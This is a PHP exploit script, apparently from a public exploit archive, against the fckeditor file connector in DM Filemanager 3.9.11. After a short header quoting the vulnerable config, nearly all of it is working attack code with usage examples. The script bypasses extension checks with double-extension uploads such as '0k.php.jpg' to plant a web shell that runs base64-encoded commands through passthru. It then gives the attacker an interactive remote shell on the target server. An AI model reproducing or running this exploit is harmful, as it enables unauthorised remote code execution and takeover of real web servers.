DM Filemanager 3.9.11 Shell Upload

`<?php  
/*  
-----------------------------------------------------------------  
DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit  
-----------------------------------------------------------------  
Vendor: www.dutchmonkey.com  
Download : http://www.dutchmonkey.com/?file=downloads.html&label=Downloads  
exploited by ..: eidelweiss  
Affected: version 3.9.11  
details..: works with an Apache server with the mod_mime module installed (if specific)  
  
[-] vulnerable code in /path/fckeditor/editor/filemanager/connectors/php/config.php  
  
[*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").  
[*]  
[*] $Config['Enabled'] = true ;  
[*]  
[*] // Path to user files relative to the document root.  
[*] $Config['UserFilesPath'] = '/userfiles/' ;  
[*]  
[*] // Fill the following value it you prefer to specify the absolute path for the  
[*] // user files directory. Usefull if you are using a virtual directory, symbolic  
[*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.  
[*] // Attention: The above 'UserFilesPath' must point to the same directory.  
[*]  
[*]  
[*] $Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]  
[*] $Config['DeniedExtensions']['File'] = array() ;  
[*]  
[*] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ;  
[*] $Config['DeniedExtensions']['Image'] = array() ;  
[*]  
[*] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ;  
[*] $Config['DeniedExtensions']['Flash'] = array() ;  
[*]  
[*] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;  
[*] $Config['DeniedExtensions']['Media'] = array() ;  
  
with a default configuration of this script, an attacker might be able to upload arbitrary  
files containing malicious PHP code due to multiple file extensions isn't properly checked  
*/  
  
*/  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
function upload()  
{  
global $host, $path;  
  
$connector = "/fckeditor/editor/filemanager/connectors/php/config.php";  
$file_ext = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");  
  
foreach ($file_ext as $ext)  
{  
print "\n[-] Trying to upload with .{$ext} extension...";  
  
$data = "--abcdef\r\n";  
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";  
$data .= "Content-Type: application/octet-stream\r\n\r\n";  
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";  
$data .= "--abcdef--\r\n";  
  
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $data;  
  
preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);  
  
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");  
  
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
  
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;  
  
sleep(1);  
}  
  
return false;  
}  
print "\n+--------------------------------------------------------------------------+";  
print "\n| DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit |";  
print "\n+--------------------------------------------------------------------------+\n";  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /dm-filemanager/\n";  
die();  
}  
$host = $argv[1];  
$path = $argv[2];  
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");  
else print "\n[-] Shell uploaded...starting it!\n";  
define(STDIN, fopen("php://stdin", "r"));  
while(1)  
{  
print "\dm-filemanager-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");  
$shell = explode("_code_", $html);  
print "\n{$shell[1]}";  
}  
else break;  
}  
?>  
  
`